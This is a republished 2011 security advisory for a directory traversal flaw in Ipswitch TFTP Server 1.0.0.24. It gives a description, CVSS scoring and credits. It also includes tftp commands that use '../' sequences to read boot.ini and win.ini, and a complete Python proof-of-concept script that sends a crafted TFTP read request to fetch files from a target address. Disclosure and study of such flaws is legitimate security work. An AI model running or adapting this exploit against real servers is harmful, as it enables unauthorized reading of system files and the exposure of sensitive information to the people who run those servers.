扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 |
############################################################################## # Title : Ipswitch TFTP Server Directory Traversal Vulnerability # Author: Prabhu S Angadi from SecPod Technologies (www.secpod.com) # Vendor: http://www.whatsupgold.com/index.aspx # Advisory: http://secpod.org/blog/?p=424 # http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt # http://secpod.org/exploits/SecPod_Ipswitch_TFTP_Server_Dir_Trav_POC.py # Version : Ipswitch TFTP Server 1.0.0.24 # Date: 02/12/2011 ############################################################################## SecPod ID: 1028 13/09/2011 Issue Discovered 04/10/2011 Vendor Notified No Response from Vendor 02/12/2011 Advisory Released Class: Information Disclosure Severity: Medium Overview: --------- Ipswitch TFTP Server 1.0.0.24 is prone to a directory traversal vulnerability. Technical Description: ---------------------- The vulnerability is caused due to improper validation to Read Request containing '../' sequences, which allows attackers to read arbitrary files. Impact: -------- Successful exploitation could allow an attacker to obtain sensitive information. Affected Software: ------------------ Ipswitch TFTP Server 1.0.0.24 Tested on: ----------- Ipswitch TFTP Server 1.0.0.24 on Windows XP SP3 & Windows 7. References: ----------- http://www.ipswitch.com/ http://secpod.org/blog/?p=424 http://www.whatsupgold.com/index.aspx http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt http://secpod.org/exploits/SecPod_Ipswitch_TFTP_Server_Dir_Trav_POC.py Download Link: -------------- http://www.whatsupgold.com/free-software/network-tools/tftp-server.aspx Proof of Concept: ---------------- tftp> get ../../../../../../../../../../../boot.ini tftp> get ../../../../../../../../../../../windows/win.ini Solution: ---------- Not available Risk Factor: ------------- CVSS Score Report: ACCESS_VECTOR= NETWORK ACCESS_COMPLEXITY= LOW AUTHENTICATION = NOT_REQUIRED CONFIDENTIALITY_IMPACT = PARTIAL INTEGRITY_IMPACT = NONE AVAILABILITY_IMPACT= NONE EXPLOITABILITY = PROOF_OF_CONCEPT REMEDIATION_LEVEL= UNAVAILABLE REPORT_CONFIDENCE= CONFIRMED CVSS Base Score= 5.0 (AV:N/AC:L/Au:NR/C:P/I:N/A:N) CVSS Temporal Score= 4.5 Risk factor= Medium Credits: -------- Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this vulnerability. POC : ====== import sys, socket def sendPacket(HOST, PORT, data): ''' Sends UDP Data to a Particular Host on a Specified Port with a Given Data and Return the Response ''' udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_sock.sendto(data, (HOST, PORT)) data = udp_sock.recv(1024) udp_sock.close() return data if __name__ == "__main__": if len(sys.argv) < 2: print '\tUsage: python exploit.py target_ip' print '\tExample : python exploit.py 127.0.0.1' print '\tExiting...' sys.exit(0) HOST = sys.argv[1] ## The Server IP PORT = 69## Default TFTP port data = "\x00\x01"## TFTP Read Request data += "../" * 10 + "boot.ini" + "\x00" ## Read boot.ini file using directory traversal data += "netascii\x00" ## TFTP Type ## netascii rec_data = sendPacket(HOST, PORT, data) print "Data Found on the target : %s " %(HOST) print rec_data.strip() |
体验盒子
